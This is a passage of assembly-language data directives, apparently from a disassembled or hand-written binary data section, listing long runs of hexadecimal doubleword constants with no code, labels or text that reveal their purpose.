54E74FD0h, 480CC0C5h dd 0A244B20h, 81576404h, 0BE379E04h, 4DC84067h, 323EFD74h dd 0E11803F3h, 0F8E97D21h, 0A3A7C1h, 0A4C654D8h, 0E5D14EB1h dd 0AB0C3048h, 57C54706h, 9DE4D80Bh, 8004B748h, 16F3A3B8h dd 14E0E84Dh, 0FCEB230Ah, 0D99E00AEh, 0B1A5CE4Ah, 5F7F294Fh dd 0E33A00F4h, 0A101E497h, 8017FD29h, 8A1E4A67h, 305E44B1h dd 8A79EBCEh, 0FD32AD34h, 0B168E05Ah, 904C4DC4h, 0C5810423h dd 0D1D26926h, 306D7518h, 638AEA7Ch, 5B2021A5h, 0B04CE310h dd 2B401160h, 10A0CA0Bh, 7FF025D8h, 1C6C3C92h, 0C178EEh dd 2E3E97DDh, 50E11634h, 0E5F08564h, 0C4D54081h, 0B0C2B308h dd 819EFD62h, 0C56E90DCh, 47FB4081h, 984DCC9Dh, 49483CD8h dd 0E9CA486h, 0D3F1037Ah, 8B028455h, 6E9C6470h, 0B07F3EE0h dd 38C02E50h, 9F9D4609h, 3C00114Eh, 571ADC41h, 20A8C9B0h dd 0C03D709Eh, 84A41FA0h, 752C262Ch, 0D2FE700h, 0C1AD4555h dd 0E032168h, 0EDB6E0C3h, 0BBA2DF03h, 0C0310830h, 0F498A0h dd 0BAD0E320h, 63C154C7h, 912A831Dh, 2E7DCFh, 7C6D645h dd 0C1589D41h, 19BA5919h, 2180D208h, 0CD05B276h, 7800E1F2h dd 4E95885Bh, 7CE2B644h, 0F9C80342h, 19AD4167h, 13464FC0h dd 1BE72C00h, 3657543Dh, 0AAC4180Ch, 82B651DFh, 95197000h dd 7D0363ACh, 0F9960C8Dh, 6B21877Ch, 0BE195700h, 0BA6F47E7h dd 0D89A3016h, 73FFC9CAh, 0F9826401h, 347BE4B5h, 0EACA8881h dd 0F90A3216h, 58DEC8C8h, 8CE4B22Ah, 44F9E203h, 147166Bh dd 0BD3823B9h, 7070D9C0h, 0A3714224h, 21C0FFE8h, 4CBD8004h dd 58DF3AFEh, 217F6D00h, 0B60DF1D5h, 0EF43E400h, 326B2E93h dd 55E500D6h, 0A9649486h, 0C4000745h, 352144EAh, 0B341D3h dd 503CAE4h, 0E3732611h, 0FDD05600h, 3DAA5C3Bh, 445B0748h dd 3099965Fh, 77FE6A97h, 0F4538800h, 923EAA29h, 0D77106h dd 38AF15C0h, 0AD441281h, 7A1E5972h, 2044A65Eh, 3987DFF9h dd 70F36B70h, 3F1AE8BAh, 6A1F1337h, 0D1F54766h, 0C45C0092h dd 7001EE7Fh, 0AB39F3FBh, 0A7F57C6Ch, 93DDE0DFh, 13A40014h dd 2D06F14Eh, 6D002A04h, 0BBD7C868h, 8937E2h, 994A5D42h dd 7A701C52h, 0E3546D00h, 8B6B4FDAh, 8CE0098h, 77293525h dd 0DD506641h, 73986C93h, 0F603EF0h, 0EDF3EB19h, 742A0029h dd 379A8B3h, 443C17B6h, 0C2D203F4h, 6BBE2Fh, 3DA52838h dd 0E59E896Dh, 7F495600h, 0BB4174BCh, 0D34718B4h, 775E30D4h dd 0B7D9E481h, 609E58C0h, 0D8A4713Ch, 81C73BB5h, 92D3BA17h dd 0F5300078h, 27C04F19h dd 3600815Bh, 1AF7584Bh, 2A383D8h, 0A4528420h, 24E097E0h dd 6C035B72h, 88B8BCE4h, 1460BE62h, 201A76D4h, 4E73A84h dd 101D85A0h, 4280F680h, 14DA8407h, 6041E00Ch, 0C440C853h dd 0FA707454h, 0A30C8272h, 88848340h, 982080CFh, 0A1BF908Dh dd 0AC571F9Ah, 0C2B9881Ah, 1DE3C4B1h, 317EE843h, 0A0508B40h dd 0C48C4A78h, 5A72D547h, 2B912085h, 0BE04118Ch, 88E07AC6h dd 8882C029h, 40513F59h, 0C2057EEh, 8040C511h, 10842B79h dd 4198BFA4h, 8340D53Ah, 6280A52Ah, 4099C197h, 80EC51DAh dd 0C5804A2Bh, 4030EA0Ch, 0AC0D4FAh, 7D4B80A4h, 11981984h dd 2008BFB1h, 332037BDh, 8D8402E8h, 8C869C41h, 18C31708h dd 0D8C17DE0h, 0D600821h, 0A1A85452h, 9A1CDBB7h, 54CB4D24h dd 60D85218h, 0D09C92E3h, 0ACA8B050h, 0BA18E047h, 3DA050D3h dd 0A6098283h, 20080CF8h, 80120E60h, 480C81AFh, 6E40C08Ah dd 778D18ACh, 2019C309h, 0A008FEE0h, 62987CDFh, 69600899h dd 3116E003h, 80488819h, 35099478h, 47DFACF0h, 0F45A09D9h dd 845028C6h, 0B1F452BDh, 7A1CE2D4h, 0C07027E5h, 8D32D50Bh dd 9911C7F4h, 88BAE47Fh, 60AD91FCh, 9F19BF81h, 0F0244C07h dd 8154AD86h, 0C2503D5Ah, 83E42448h, 0E86050A7h, 31CE2D42h dd 0B97055F8h, 72C0C81Fh, 80245156h, 4C7303CCh, 5A38C6FBh dd 802B78E1h, 31634063h, 390C978Eh, 53731C7Ah, 49812A4h dd 0DF5CA04Ch, 48130300h, 11FEB40Fh, 326E1A40h, 0BE6409B8h dd 32730CB0h, 3A81C109h, 40E83063h, 0D2405110h, 3E2008BCh dd 988C2024h, 0F0C46595h, 30FB63B5h, 0DA58FF10h, 40D04EBFh dd 1894A888h, 0D1F17919h, 0BFF5A5FAh, 0C7845770h, 9DD6AB2Bh dd 629A74C9h, 4758F85Ch, 440D80BCh, 71BA3F4Ch, 31D374D1h dd 0C008B830h, 20488AB2h, 0C2D9785Dh, 0C287D9F8h, 56615A81h dd 0B378D50Fh, 0D2BAE9E1h, 127A398Ch, 78AF6078h, 9EC31D01h dd 1864DE85h, 4030C2EAh, 78B4510Eh, 0DBB14005h, 20D36155h dd 0A66937EFh, 510B0208h, 0A30574B4h, 95EDD3Bh, 0C4051491h dd 748160F8h, 792019BEh, 89CA405Dh, 3E084008h, 0DD83059Ch dd 93D23AD9h, 5070F81Ch, 31A01640h, 0C3984EC8h, 9488A50h dd 0FDF08C51h, 0C3177FABh, 0C1A89AA1h, 5FED40F1h, 0CECB068Ch dd 373995E0h, 96802CBAh, 2020903Fh, 9D603336h, 21197B09h dd 0D710C3E1h, 0DF029C5Fh, 0D6C4E179h, 80145A03h, 0AFC0A0B9h dd 51288190h, 312F848h, 2ED0987Ah, 0E45A3AFAh, 11181A0Fh dd 61E3A03h, 5541DAE0h, 8103BAE4h, 2DC43746h, 8F17B0D0h dd 8D03009Ch, 0B0356CE4h, 6E182CF7h, 7A48C94Dh, 1038DD8Fh dd 5EB7F0D6h, 6DCA4484h, 70DE9B31h, 898E334h, 7E3A4037h dd 0CF2E8787h, 0D80B891h, 9A42CE73h, 8D360C0h, 0FA41BEA5h dd 0C68493Ah, 906C1D5Ah, 2DFE036Eh, 2E03FC9Ah, 0E3A8F0E1h dd 0F07698E1h, 5656DF3Ah, 1E1C8178h, 0FE17826Fh, 767A78D8h dd 64FA08C3h, 0A3B831C4h, 869EBA80h, 0B008DA08h, 0E86A7698h dd 0B1953C5Ah, 0BA093A31h, 8C9A01A2h, 0C7C91A00h, 998D10C8h dd 84318Eh, 0C0C8D7DAh, 2E169710h, 19507A9Ah, 8DE7FE0h dd 101C830Ch, 0FA08CE84h, 18CC1B0Ah, 245A0823h, 41811C8h dd 81C731Ah, 38DA0C94h, 41CA2721h, 3A079C11h, 5A41FD60h dd 19BC0169h, 0F3628F40h, 0F43108h, 0BA2E22E2h, 2824F131h dd 588C1784h, 0FB0818ACh, 6D9A58C6h, 3A7A37B0h, 15A63318h dd 0D8323832h, 0D704865Ah, 801A2020h, 0A1CC4AE8h, 629A10A3h dd 213A08EFh, 5A038724h, 0B019A6C9h, 0E258061Dh, 34FAF042h dd 6AC04804h, 0CD07F810h, 0A4142825h, 0FE5A03E4h, 0E239569Eh dd 3EDC85D1h, 2677A849h, 73F85F2Ch, 0BAB0C6FAh, 3A12C06Fh dd 687956CEh, 448C21E0h, 9DFBED7Bh, 68E43A78h, 418FB987h dd 31CB9E43h, 0DA08B010h, 26FA0023h, 0A410CAC6h, 0C7103EB8h dd 0AB4C1415h, 0DED419C8h, 4D27B98h, 1AB4801Dh, 0D49356D2h dd 711CD8C0h, 0E0FE41A2h, 0F8CCCE6Dh, 243A0836h, 157439DAh dd 2937807Ah, 9FD3B470h, 0ADF304A4h, 955D6D97h, 0B844B419h dd 0E04448FAh, 748C48Ch, 1A35C278h, 0C4860805h, 0C3332021h dd 0C28F96Fh, 315A1099h, 2FA0B494h, 88388A92h, 0BB0CC072h dd 6607F065h, 10C7386Ch, 8305A30h, 8136EAFAh, 3B8511B0h dd 203CBA01h, 11C8ACE4h, 0A9013E79h, 0E759568Ch, 0A899D089h dd 28F908C2h, 331440A0h, 2220CD9Dh, 9E67F008h, 91DA28C6h dd 8E813178h, 4147BD90h, 9894FDF0h, 1A20BFA8h, 48976556h dd 0D0F4461Bh, 0E428D8CCh, 386298C9h, 40DC9219h, 0C4D9440Ch dd 9AF4F18h, 0EE38A6FEh, 0A51A3318h, 19625F09h, 0F78FA09h dd 0BA0C7488h, 3E3A408Eh, 617EAD29h, 609A0824h, 183080B3h dd 347956A3h, 33E0CCA4h, 0F44D3908h, 6FF02054h, 660509BAh dd 9B81867h, 0D16610FAh, 20081F18h, 0DA37225Ah, 16863044h dd 0B6FA2010h, 9401A31h, 2898C8CFh, 0BBBAF853h, 3D4D509Ah dd 1BEF1014h, 32196210h, 606F09D0h, 417B7A54h, 0C184E3E9h dd 88FF901Ch, 13F4FC18h, 39641FF6h, 941A08E2h, 0EDE25C63h dd 107AA840h, 0AD40389Ah, 0AB98311Ah, 25EE5330h, 0D330277Ch dd 0D169E801h, 98602BA9h, 4910B23Fh, 182C68B3h, 20842458h dd 771A1980h, 24E2106Bh, 6840F65Ch, 336740B2h, 813C0188h dd 394811A7h, 53B1101h, 113F5022h, 3D08928Ah, 15595404h dd 4DD2121Fh, 0F1083150h, 0BC502498h, 80938088h, 0BB819436h dd 0C7F14821h, 6DA088Ah, 44263ECCh, 0AF4E8C54h, 3C904310h dd 0CC7B5A20h, 1820D2D8h, 0E8840492h, 7AE48F50h, 0DF40F444h dd 0B2091D08h, 0FA04C418h, 2480A8CAh, 0FB091CB3h, 9A0E6D80h dd 9FDF041Ch, 0C1EA1956h, 37CDBA58h, 2FEC180h, 0D851575Fh dd 0BA01F10Dh, 0E64864E9h, 0F04044B2h, 7CC84DFAh, 0A98EFBF0h dd 0FEFAC820h, 7A50C4F6h, 1D1C9FCDh, 264B8B15h, 624C24FFh dd 0B7BE8CD1h, 45E4096h, 0C0961A14h, 0D4E1FA7Ch, 7239C8A0h dd 0A2DD58C9h, 96C1680h, 0E91A7C22h, 36F42848h, 884208C8h dd 6912394Fh, 329A2C0Eh, 30591C0Eh, 8A6B918h, 9D402B19h dd 98E78323h, 8E885906h, 8876260h, 5A01A73Ah, 909894F7h dd 97DA0831h, 0B138A166h, 70191808h, 0BB387842h, 40594B00h dd 0C99A371Ch, 675AE81Dh, 0C88A097Ah, 831EC00Fh, 0E11FE4FAh dd 1088331Ah, 603651BAh, 0E8FA3030h, 72B81A08h, 0ACA821F9h dd 71199B08h, 8BE3930h, 10840619h, 389A0049h, 3A227440h dd 5A1841EBh, 426E09AFh, 8CD471F9h, 1170FA08h, 0E509CD69h dd 54C42038h, 996210CEh, 1F014A29h, 85BAF03Eh, 0C0103A63h dd 3808303Ch, 3DE45A10h, 3B3008C6h, 5B413E28h, 80C3DA18h dd 58623F9Ah, 38F6150h, 20188D88h, 693090D6h, 0B380C0E2h dd 279A2368h, 3A18AC7Ch, 8118DB20h, 0FA48DE45h, 46632940h dd 182F6710h, 102DE648h, 0E0802C94h, 1D38C62Eh, 15504130h dd 0FA1F99A8h, 1543A36h, 0F07D009Ch, 6628442Ch, 8D970076h dd 0CB0CF8C2h, 0A300B6C5h, 6D6411B4h, 10369A4Bh, 203EEC7Ah dd 4988F501h, 1278D5FAh, 0CD6510F3h, 630D10A7h, 855DA1Ah dd 0A00F0842h, 193F8C08h, 7D083FD2h, 0EC2158BFh, 0C1C3E4E3h dd 2D03B525h, 88FA510Ch, 0DEF2D86Eh, 0B8D13B58h, 0D0FF34D8h dd 10E028C0h, 5D612637h, 69C5CDF1h, 0BD3C8081h, 24AD394Bh dd 1B662670h, 376099F0h dd 43B0CF7Ah, 70028E45h, 0DA237715h, 7990ADB4h, 3407B41Bh dd 3882F743h, 6739ED06h, 987E2878h, 8B943394h, 78857F70h dd 0B1BDEB4h, 0DBC16945h, 0DA481C46h, 0C0A42BC0h, 0F259220h dd 0AEAD01FBh, 825A388Ch, 0D1634B41h, 241F68C0h, 98D8EA18h dd 220F09A0h, 236718C6h, 18AB6F30h, 4630840Dh, 1A1018A0h dd 4A2E73CCh, 10DA06AEh, 19200857h, 8420F33Eh, 0B086689Ah dd 98A0D8D4h, 46BC5E10h, 0B8BB4D0Ah, 0B45738D0h, 5C0DF1C0h dd 6D80B442h, 39E8A067h, 9AE4A17Fh, 6EB041A3h, 0EABFE26Fh dd 5F0D03D4h, 27D94BB4h, 443AE814h, 9E5A18D4h, 69B29A08h dd 3822D840h, 7A02CF3Ah, 0EEBA02CBh, 5F7B4469h, 1A1871D0h dd 2DB98A81h, 0D6F9819Bh, 12194C40h, 0BC782064h, 988498C5h dd 1C8C9C91h, 18920890h, 0DA1830BAh, 617A80DEh, 0F69AB8C6h dd 73BA2418h, 251A0964h, 936BC423h, 4B46C019h, 0CC5F7B10h dd 0F6DA8101h, 20120631h, 0A0CC48A0h, 61790999h, 0F9D9B8B4h dd 81B9F0BCh, 521910C6h, 0C66CF620h, 20F85908h, 31EA3920h dd 7908ED99h, 0D441BCF5h, 0C89298DCh, 623A0D40h, 169A0813h dd 2227A02h, 0BA020FDAh, 81A0207h, 90E78809h, 6478B990h dd 975751B3h, 3A185CF8h, 581E2333h, 0B204C466h, 105F0F1Ah dd 58495732h, 7493CA25h, 0C8413ED6h, 99CC0340h, 0C6EC09FFh dd 49D1DA18h, 886A7944h, 70811B24h, 0E1330213h, 2A17F126h dd 40884421h, 89549996h, 8E89A198h, 1AEB901h, 20243B19h dd 30F1CA3Dh, 2B2A3CB8h, 512F45C0h, 53289930h, 0B11094E0h dd 0E1101FD9h, 1D32101Eh, 0D840CC3Eh, 0A74A02E9h, 1E484D9Ch dd 527C2055h, 419F6281h, 617C206Fh, 811DFD80h, 69C5343h dd 0DA3918C4h, 495892FFh, 0F83274F7h, 0BCA4EA81h, 9FF0487Eh dd 9C420EBh, 0BA03E8DAh, 2810201Eh, 0AA2221B7h, 89B3B644h dd 0ACCC52ABh, 0A8694E26h, 80143A30h, 74BAEE9Ah, 8D50C269h dd 78F16038h, 206AA19Fh, 7079FE64h, 62906B4Fh, 468DA09h dd 0D51A45BAh, 201F9044h, 7141230Ch, 0B991A189h, 0F9913739h dd 0A8D4BF48h, 0C11F40CEh, 99D9C8A9h, 4DD1DB31h, 106EDC53h dd 15477A08h, 3D804DAh, 25EEB8B4h, 5080F7Ch, 0E506B9F1h dd 0A5301086h, 985087Bh, 0C5DA0E5Ah, 6583590Ah, 5C02DFFh dd 0A5F85D4Dh, 3E27F720h, 4510282Bh, 0AFC50712h, 7380EE9Bh dd 0D3E48Bh, 0A02E01C4h, 2AB0DD63h, 6C0064F6h, 1BAC7D40h dd 0CDBEBA0Ah, 0B1681780h, 0AB054038h, 47ED000Fh, 0ADF1940Ah dd 16AA191Bh, 0FF11D0BAh, 9A24C5A0h, 0C699FD80h, 8987FC8h dd 8810B86Fh, 80A50CDBh, 0FE9C568h, 6D39CB02h, 4A02FDE0h dd 0F94503A6h, 7AC5A80Ah, 9F1B8066h, 2C48A110h, 0C03D85F0h dd 0DB123F09h, 0B36DEBC5h, 34F271D0h, 688F030Ah, 0EA848C47h dd 8E00BB17h, 3385EF0Ch, 0C57E1D74h, 45182078h, 9C90E8BCh dd 0F765F809h, 0F3250886h, 0B8612008h, 0DD2C538h, 0A73108Fh dd 60070580h, 0CC28E5DAh, 5462E85Ch, 8FB42508h, 5EAD04ECh dd 471FB04h, 816E55h, 289B70C2h, 0D1E308FFh, 797B1120h dd 0C530C385h, 4020729Eh, 40BEF85Eh, 74662973h, 0E820D338h dd 0C510C315h, 20105835h, 0AA315A14h, 90868508h, 65104B11h dd 0B0A50844h, 8CD185Bh, 3D644145h, 3C9F75B8h, 4AF90F02h dd 0E880FA31h, 0EF21D48Ah, 2950E514h, 28DE1888h, 0C6FB5E58h dd 7046EB80h, 0E2F43451h, 21404C45h, 51F07F4Eh, 0E802E062h dd 0B5B88222h, 2B18032Eh, 0FD1A6018h, 18044E10h, 68E305DBh dd 45806FC5h, 0E04C9377h, 0D839E943h, 0CA687961h, 0FC421FC4h dd 82304F74h, 3B6C4DA2h, 0BF6A80A3h, 28193924h, 0F87CA50Ch dd 0A0A8E145h, 10FC6624h, 653008F4h, 0BEE52083h, 25DB0D15h dd 0A28479Ch, 0F64780BCh, 923C5A36h, 71128F8h, 6D4C288Ch dd 6F5528DCh, 0EA0480B0h, 0DE78CC73h, 2F31C508h, 55808074h dd 5A723088h, 8A8C414h, 0C6037E5h, 0F905F98h, 0E15A0DFh dd 9A4AF0D8h, 8896541Ah, 454F24AAh, 5B8C0CB8h, 5D63CD50h dd 3076C008h, 0C518A880h, 0DB780518h, 88C80D32h, 0CD8BE07h dd 0E23B0D58h, 61284A69h, 0AA63B826h, 189F8560h, 60BD4508h dd 849AA025h, 5E88C61h, 30274F8h, 0A04F0BEh, 0F772F139h dd 89EEA02h, 6B5C6F02h, 85600AE4h, 0F0D89AD8h, 0CC3095D5h dd 48AB134h, 6D98007h, 0BC332898h, 126EA85Eh, 48766558h dd 50C03CCh, 0D32510D8h, 0C42411B9h, 53B2F1F0h, 78106C49h dd 0CED80644h, 90F4A570h, 903C519h, 77FC24AFh, 9AF2D4A8h dd 771CC0AFh, 3BC03AC4h, 0A1C9891h, 0BB2DAF01h, 0C7ACD7A8h dd 0B1045612h, 3DA6A44h, 242E7705h, 0F8800AF0h, 0FC11BDCAh dd 97107CBAh, 0D12B3209h, 4794637Dh, 14C194E8h, 84A31683h dd 0BC4AA49h, 4979FCC2h, 489E191Ch, 0BBBC2605h, 9120C4CDh dd 58B2E52Ch, 2508BF98h, 305663F4h, 8105842h, 0A819593Eh dd 270D2049h, 0C10FC16Ch, 9189F15Eh, 0C02974Ah, 5848AE45h dd 88CA2804h, 0C0FBB00Dh, 0A8ACCAB3h, 0B0E5EAD0h, 0AF06E658h dd 87A181ACh, 17F142Dh, 8857178Ah, 9FBA40Ah, 7B08035Ah dd 0A4B3822h, 0EB27FC02h, 85081574h, 6CF08010h, 61449567h dd 0B81858CAh, 80A92514h, 0C5064074h, 0D4C01047h, 7D781F95h dd 0B28A6A80h, 0E8395470h, 2B70988Ch, 0E0881045h, 268C0F41h dd 140A49C5h, 9AC5D4D1h, 9506885Eh, 397E9842h, 6F28AA19h dd 0AC27E278h, 9926E8C1h, 2E0022F9h, 85131445h, 5206542Ah dd 39FC9F1Dh, 64FFEA1Bh, 4CDFA4A8h, 5CA4CF06h, 8A31A92Bh dd 445386Bh, 87DF85Fh, 7E59DF93h, 0C5386A98h, 8370ADD6h dd 92170AE7h, 36CA7110h, 54D78515h, 612479B1h, 0B01C715Fh dd 0A825386Eh, 354AD9Ch, 52F080A6h, 0E083AED2h, 0E025589Dh dd 9AC00247h, 0C58B49Ch, 29E86D87h, 0BB31AA41h, 5888E866h dd 0CC6C2054h, 7E543C6Fh, 0B84A41E2h, 6CFDC0EBh, 0E7083B78h dd 0CF1F848h, 0E5B0D3EAh, 0F13CD749h, 48C14D99h, 193439A6h dd 30D63857h, 8033254Ch, 0A40E1063h, 0C3139A05h, 87C953Ch dd 0A0489032h, 99850109h, 30904397h, 0FCA587AFh, 18200510h dd 98413E9Ah, 2074651Ah, 8124C43h, 47CDCE5h, 0EEF71BE1h dd 0CBC7A9B1h, 88050882h, 59080CE8h, 0C6286180h, 202798A8h dd 1029D031h, 0C890624Ch, 0F1C51B1Ch, 0E083E2B8h, 98B5A5A0h dd 4D8532B8h, 58580518h, 0B1C453E8h, 0F70D9B28h, 8C3CE1A8h dd 98D45B8h, 0EC5EF9DFh, 0D271581Dh, 0CA4845DAh, 0DC30D265h dd 0DB04ECBEh, 2BE6826Bh, 4C6A0881h, 5FD10501h, 88D604ECh dd 6488050Fh, 91689AB5h, 0EC5F51A8h, 39C2E277h, 1A2B70AAh dd 65E8701Eh, 39ECB331h, 0EC64924Ah, 8170ADE0h, 8FF579B6h dd 4482042Fh, 1180C940h, 92D6F070h, 0F313C38h, 9D28C509h dd 7CE02405h, 24111080h, 8A3C99A7h, 45584133h, 0D5A5C812h dd 0EAE387Ch, 2BF13329h, 986A33B0h, 64A1D6A5h, 0A0E2093Ah dd 93D5D0h, 8AF03BE0h, 0CA91C52Dh, 468C7CD3h, 33F53C09h dd 3F60A5F3h, 291A6491h, 6C53E865h, 281DE4D7h, 6795E8B8h dd 4826A82Ch, 4B11E33Dh, 784010F7h, 4A2510F9h, 5082F31h dd 53118C28h, 484C4848h, 0A114CCA3h, 0F26B4B4h, 0FAB3F8F0h dd 0B1462D31h, 45033E0Ah, 0DA504ACh, 0DF19C0B0h, 7C021080h dd 8870566Eh, 2A65164Dh, 0CB1E0608h, 126948E2h, 492B1FAAh dd 140814D8h, 7D0C54C4h dd 411A97D2h, 0A521404Ah, 0C1C86957h, 369A6F82h, 9FE4EA13h dd 1C403840h, 50222634h, 56A588E8h, 74C17063h, 174DEAFBh dd 0D8A87E8Eh, 0C508A163h, 3AE87445h, 567C150Eh, 87C07838h dd 0FD6C6637h, 0B4DACA80h, 0CC931520h, 6E7C382Bh, 0CCEEB581h dd 0F26A03F1h, 0B60863FDh, 30852008h, 4E25A544h, 0EF500062h dd 7245DB04h, 33706666h, 9C6D5709h, 181117DCh, 600A71DAh dd 966CFB40h, 84C2F830h, 0AAB81854h, 38CC2CF4h, 662AA973h dd 0B1B598FEh, 33C5CD40h, 0A9A80F11h, 67E542AFh, 0B41EA8BEh dd 69F086F4h, 0CCFFD64Ah, 0A5A842D8h, 0C5083D63h, 6470782Eh dd 0C14769B6h, 8A172514h, 0BC6CE570h, 31D9C0F8h, 0EA69E2F5h dd 0A6BC5211h, 18760503h, 50992560h, 909AAB85h, 0F100B48h dd 8610D965h, 19083805h, 10127025h, 6C09955Fh, 0A78CF0C4h dd 815163D4h, 7058738Ah, 0BE9444D8h, 0A81868DDh, 0CFE08550h dd 10906568h, 62786BC5h, 0A2E5086Eh, 5F5BE869h, 379C04E4h dd 18562276h, 3A5D8C8h, 0AB2508C6h, 8A06249h, 8A0F3F45h dd 0ADF8DC5Eh, 0D669223Ah, 9845CA31h, 0C45F5F25h, 82D27A02h dd 8049F52Dh, 0F398CD7h, 0A0BC8013h, 0AF708584h, 0EBDF83A8h dd 4910F6EFh, 4515C50Ah, 0D0F08870h, 95204946h, 7AA2629h dd 6B4506E4h, 0A24C7816h, 70A51104h, 2BFF75F0h, 5C122724h dd 18F6D888h, 0BFC54869h, 42D81865h, 1143887Ch, 181432B7h dd 65907DEAh, 8380AF64h, 0C799F7FCh, 48A8119h, 6C142538h dd 0EA17D580h, 0FC23D7BCh, 0A5B0156Dh, 0D0B0785Fh, 4A62F2B9h dd 30ECAA9h, 40155FE5h, 0B3746445h, 0EEAFE19Ch, 506A4C74h dd 4BA590C1h, 4B2078B9h, 59AEF90Ah, 8198F4F4h, 0CEF89EE9h dd 0F0B9AA08h, 369852BDh, 0D0E1805Bh, 9C51030Eh, 0C99549AAh dd 0BCF38033h, 0F3C633F0h, 40D24A80h, 7CAD88FBh, 48CECA83h dd 0EA390227h, 5DA4E29h, 478B7C28h, 0C5A4896Bh, 0E7F30648h dd 8A12415Eh, 100962F9h, 3ABC41B1h, 8904785Bh, 5EEC10D0h dd 1D41E419h, 9492E501h, 91287709h, 9449B084h, 511A644Eh dd 7B64B4CAh, 5B8E84AFh, 0F16E046Ah, 5E79921Dh, 9B824F4h dd 43EBCC5h, 0D2500704h, 5B5FF71Fh, 92EC3813h, 2473BDB8h dd 143620CFh, 81ADF43Eh, 1EFC64C6h, 0B41240D2h, 343B24DEh dd 5FF0608Ch, 0FF689611h, 6E160470h, 0BFC024C7h, 45A7D5h dd 5C0702CDh, 0E067D319h, 498AE400h, 0C9BE8FD6h, 70AE7C96h dd 0F1B27A4Ah, 34454980h, 0D149311Ch, 0EC791507h, 59F040B6h dd 48CAA918h, 7C0FC5BCh, 3661B75Ch, 87C36FC2h, 89CD5489h dd 0FC944C90h, 5E401473h, 0AD00AA9Dh, 9666C565h, 330013E4h dd 148E715h, 602B1EB4h, 0F657B802h, 72037DA9h, 38886C43h dd 0F8D2E0F7h, 7951E433h, 493000CFh, 8CC84DCBh, 220C908h dd 0E08200C6h, 812A3557h, 24032E0Eh, 5ECF7077h, 20D915B6h dd 0AF0094A0h, 67994ED2h, 401DDB8h, 0ADEBF8CBh, 2840C8E3h dd 1DDBA447h, 0C0D8D6F5h, 0E727D4E1h, 0C2065D4Fh, 0C8DEC987h dd 89C30028h, 1D13EF03h, 1000C6A5h, 0F52008EDh, 953B8B0Ah dd 0AB331281h, 8089BFB4h, 2BF15BAEh, 8636CBh, 0C0920A16h dd 0FC279846h, 830EC970h, 0A9B250h, 2FDB902Eh, 30A0582Dh dd 611C2503h, 8680AF5Ch, 1BE016AAh, 2DEB0309h, 0A69D00F3h dd 3227FACh, 2BBAE6F7h, 6FB8D08Fh, 4750A93Eh, 0A260F88Eh dd 79998E38h, 0B2CC00DAh, 9D52E751h, 48003B97h, 0A86A844Eh dd 60F1EB87h, 0D4F83130h, 451FE832h, 1100424Eh, 1F988AFAh dd 971600A3h, 7B95FD18h, 63E9CE5h, 38838089h, 0C527D0E8h dd 0CC120353h, 2EC7E3E4h, 0FDB95100h, 0FBA31BFFh, 7F9F00A2h dd 2AD71174h, 9B00145Ah, 0F6E6E4E2h, 0EE285E23h, 0EAE100BDh dd 99BA3EB9h, 0EB036EC0h, 0DDCA7A39h, 0D4201D2Fh, 5D98402Ah dd 311F642Ch, 0B0A4300h, 0B3877CFFh, 637A05FAh, 0DAE506h dd 0FBFC93CAh, 0C60059E6h, 0B3759E49h, 3E8A25FEh, 8301D5A9h dd 0E4CB1F27h, 0BEA3C51Eh, 847CAAB9h, 80A28A2Ah, 0FB002798h dd 0F4F74CF3h, 3C3BC6Bh, 461338B8h, 0B7E8CA2Fh, 0E03E947Bh dd 0A8A300BEh, 25F2E4Eh, 5EE93A76h, 3B014300h, 0C48B583Ah dd 1B6CEE03h, 0A16F45FDh, 2080F530h, 4655F39Ah, 7B005C8Dh dd 14C18331h, 9FCC0Ah, 0AE4C1A5Eh, 0E45AFF94h, 0A1A0180Ch dd 7C5B3807h, 79703CA2h, 5D7B9301h, 0D0800C5Fh, 20C047D0h dd 0F95CFC1Dh, 466500B2h, 95280424h, 130C5D36h, 49E3D201h dd 7D00002h, 2E4F8790h, 0E5FAF06Eh, 65E0991Ch, 4A6A8A06h dd 3A631C29h, 0E5BE4E41h, 0DCC60943h, 6B1081Bh, 42F39820h dd 6BCF070Ch, 0A11AB549h, 80388FF5h, 1F5331C8h, 3E4B57D3h dd 3A9F833Bh, 805A9FD6h, 1C63434Ah, 303D047Ch, 76440005h dd 0D76EA401h, 93F00F39h, 70E308AEh, 2CB0F3C8h, 180084ACh dd 32A15A02h, 1C64901Ch, 81ED5E2Fh, 0F02891D8h, 7EB0C704h dd 0CE7089B8h, 39F56204h, 887578Ch, 4D3CFC10h, 0ECDD00C6h dd 78B10D59h, 8203CBE3h, 0B0A556C8h, 0EC10F679h, 26050046h dd 0A324FCD7h, 7F010FA7h, 9A4D4384h, 2EE0D844h, 1EBEF2C7h dd 0C0391015h, 0DB544FB1h, 3C00FB12h, 0F16F1B0Ah, 0ABCEB3h dd 0F55D8BAEh, 43EB9610h, 0F9A31A00h, 6B28C888h, 0EE40030h dd 54A7F180h, 41008670h, 47A62CB7h, 0E97BD2h, 0D795AB06h dd 83389274h, 41C0464Eh, 0EB4FAFh, 1B3DAA2Fh, 0F5693911h dd 0B4810500h, 0DB0E0440h, 90143B8Dh, 3633FA00h, 0C9721B7h dd 2207C874h, 0A67978D7h, 0AD0B9200h, 98EC7Fh, 0D0DC8DB5h dd 0CBC5134Ch, 0D8B02600h, 0C024D12h, 0B96200BAh, 7FF7351Bh dd 9B7C6861h, 47B28B01h, 4FFFE220h, 390209Fh, 1954D809h dd 0C006F7C3h, 4CCC1F9Eh, 0DB4F0020h, 2F220840h, 5A00DA80h dd 11609CD1h, 7EC93710h, 0A1D500A7h, 8B50679Dh, 0B57B140Fh dd 3BD8A00h, 0A59E6D4Dh, 5FD4008Ch, 92F6E3ABh, 641994C4h dd 3A71AABCh, 604638D0h, 1BDA38B4h, 44152D49h, 198E657h dd 3E708F55h, 0B2F8DE2Bh, 587B97h, 9C2F909Fh, 1C1A5F1Fh dd 3E673Eh, 9BC1D1C4h, 7F08E6h, 0F0978464h, 0B70BDC14h dd 0EE992B00h, 0A6E155F8h, 9808007Eh, 36BA026h, 0A20C96E8h dd 98F65421h, 3D69395Fh, 97FB3C81h, 80F93449h, 0F00C1418h dd 7C8BCD28h, 834D035Ch, 0FF715913h, 0B6B770A8h, 5BA6A007h dd 4460E1DBh, 0D19EAEh, 0D7EE5D0Eh, 1E781D8Ah, 0A9F08203h dd 0D0A69484h, 60B706h, 5F3A5C56h, 0A7A4C436h, 0BD1F8101h dd 1346F8ADh, 1662F07Ah, 167B703Dh, 9D009145h, 3EF04FBDh dd 8F2300B0h, 2ABA263Dh, 46126987h, 54412B07h, 1EA14216h dd 0B9F3A840h, 939F0070h, 0D112076Fh, 43006CCBh, 0D50A97ACh dd 